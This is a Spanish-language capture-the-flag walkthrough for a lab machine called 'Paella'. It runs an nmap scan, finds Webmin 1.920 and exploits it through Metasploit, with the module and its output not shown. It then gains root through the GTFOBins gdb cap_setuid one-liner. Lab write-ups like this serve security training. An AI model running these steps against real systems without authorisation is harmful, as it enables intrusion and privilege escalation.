
 

             PAELLA 

 

 
 
CONECTIVIDAD 
 

ping -c1 192.168.0.27 

 

IP DE LA MÁQUINA VÍCTIMA​    192.168.0.27 
 
IP DE LA MÁQUINA ATACANTE         192.168.0.22 
 
LINUX- ttl=64 

 

 
ESCANEO DE PUERTOS 
 



nmap -p- -Pn -sVC --min-rate 5000 192.168.0.27 -T 5 
 

 

Encontramos los puertos 22 y 10000 
 

 
PUERTO 10000 

 
 
ENUMERACIÓN 
 

whatweb 192.168.0.27:10000 



 
 

Cotejamos que la versión de webmin es 1.920. 
 
Con searchsploit 
 
searchsploit webmin 1.920 

 
 

 
 
EXPLOTACIÓN 
 

Nos vamos a metasploit 
 
msfconsole -q 
 

 

 



 

 
 

Una vez estabilizada la shell, listamos /home 
 
paella@TheHackersLabs-Paella:~$ ls -la 

 

 
 
ESCALADA DE PRIVILEGIOS 
 

Me bajo linpeas y analizo 



 

 

 
 

/usr/bin/gdb: Este archivo tiene la capacidad cap_setuid con el flag +ep, 
 
lo que significa que gdb puede cambiar su UID a cualquier valor, incluso 
 
cuando se ejecuta como un usuario no privilegiado. Esto puede ser 
 
potencialmente explotable para obtener privilegios de root. 
 
 
 
Nos vamos a https://gtfobins.github.io/gtfobins/gdb/#capabilities 
 
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit 
 
Como el ejecutable de gdb se encuentra en /bin/gdb 
 
lo ejecutamos usando la ruta completa 
 



 
 
🖖 Buen día. 
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